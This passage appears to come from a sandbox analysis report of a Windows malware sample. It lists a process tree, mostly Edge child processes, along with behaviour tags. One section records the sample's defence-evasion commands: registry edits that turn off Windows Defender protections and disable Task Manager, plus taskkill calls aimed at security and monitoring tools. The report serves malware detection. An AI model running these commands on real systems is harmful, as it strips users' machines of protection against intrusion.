    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffcbd10c188,0x7ffcbd10c194,0x7ffcbd10c1a0
    3⤵
    PID:5380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=fr --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1600,i,4257881313599615239,14973100204677551208,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=2840 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1472,i,3120748572974374072,1696824907334383791,262144 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:2
    3⤵
    PID:1164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=fr --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2092,i,9984532583706240274,14923879494009550321,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=2904 /prefetch:13
    3⤵
    PID:6072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,5080723553718130162,14681990284204597832,2097152 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=3404 /prefetch:1
    3⤵
    PID:7008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3464,i,6309404735173867489,11521695362478550041,2097152 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
    3⤵
    PID:4740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=fr --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4688,i,2710524329595256465,4500063447146494056,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:12
    3⤵
    PID:5996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=fr --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5056,i,12419816033426425221,9404002187033431641,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:14
    3⤵
    PID:1396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=fr --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5060,i,9668333052625147734,10582804043871450119,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:14
    3⤵
    PID:1968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,10287740194232547052,12240405196478116203,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:14
    3⤵
    PID:804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5744,i,4105855095945354463,10602930639217477334,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:14
    3⤵
    PID:1936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5748,i,12585405024021406765,18046063092028249725,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:14
    3⤵
    PID:4460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5784,i,1032929124208465713,9731566970323398463,262144 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:10
    3⤵
    PID:6692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=fr --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,14067075667291993114,2540790286249808819,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
    3⤵
    PID:3052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=fr --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,15165272458497740311,11352748835994417351,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:14
    3⤵
    PID:1332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=fr --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3228,i,2344341463218503919,4199497254000939394,524288 --field-trial-handle=2424,i,13951411060831729817,1737522812134852842,262144 --variations-seed-version --mojo-platform-channel-handle=1688 /prefetch:14
    3⤵
    PID:6480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
  2⤵
  PID:5704
- - C:\Windows\system32\reg.exe
    REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
    3⤵
    - Modifies registry key
    PID:4136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:5596
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:6132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:7084
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67_final.html
  2⤵
  PID:3372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:4324
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:6160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:2372
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:6024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:3744
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:6916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  PID:4000
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:6128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:5588
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  PID:6080
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    PID:6652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:2748
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:6160
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:1488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM cmd.exe >nul 2>&1
  2⤵
  PID:6572
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM cmd.exe
    3⤵
    - Kills process with taskkill
    PID:2004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5436
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:7076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM powershell.exe >nul 2>&1
  2⤵
  PID:2800
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5136
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:6328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:4076
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:4896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:7036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x2f0,0x7ffcbd10c188,0x7ffcbd10c194,0x7ffcbd10c1a0
  2⤵
  PID:2640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=fr --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1796,i,17490709677299657826,6879652758510736749,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1656,i,11065408449523219688,2006816890056624069,262144 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:2
  2⤵
  PID:4172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=fr --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2328,i,6223692760136744063,2060162520860606202,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:13
  2⤵
  PID:3148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3496,i,7489161006005967339,132119048184060156,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:1
  2⤵
  PID:2880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3508,i,1555973349622949968,637813819076973254,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:1
  2⤵
  PID:3448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,12555156332280846954,1778023257216857473,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
  2⤵
  PID:1160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4292,i,5848787999987069568,6377020691538152332,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=4424 /prefetch:9
  2⤵
  PID:3308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4264,i,11289066593061719557,9148579778966615028,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:1
  2⤵
  PID:3312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4336,i,12619819375004078634,3424585096195499819,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:9
  2⤵
  PID:2064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=fr --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5196,i,12901406725322621665,1748085342748606734,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:14
  2⤵
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=fr --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5476,i,16681164533280456597,7505829802075890615,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
  2⤵
  PID:236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=fr --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,4624577811483118059,5230672765291630944,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:14
  2⤵
  PID:672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=fr --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,8900146693427780135,1759713302847928410,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:14
  2⤵
  PID:2000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6272,i,7067090332677994277,9176483790557917240,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:1
  2⤵
  PID:4812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3756,i,2697125750661467660,9042810720052611127,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:1
  2⤵
  PID:484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6688,i,9162657938853173600,12390423966104914831,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:1
  2⤵
  PID:2224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=fr --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6996,i,10006184566206518635,8088609201441145101,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6880 /prefetch:12
  2⤵
  PID:5952
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4276,i,2506009970292882173,13629252463111872117,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=7464 /prefetch:14
  2⤵
  PID:5256
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4276,i,2506009970292882173,13629252463111872117,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=7464 /prefetch:14
  2⤵
  PID:2372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4996,i,15220366190072319764,4966955326540194775,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:14
  2⤵
  PID:5256
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1132
    3⤵
    PID:5164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=fr --js-flags=--ms-user-locale=fr_FR --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7912,i,6370188672824260796,1670925884872516105,2097152 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:1
  2⤵
  PID:5172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=fr --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4964,i,10810298383460449606,3438215879015008299,524288 --field-trial-handle=2180,i,16509195266936760346,5758596440932977336,262144 --variations-seed-version --mojo-platform-channel-handle=6780 /prefetch:14
  2⤵
  PID:5440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
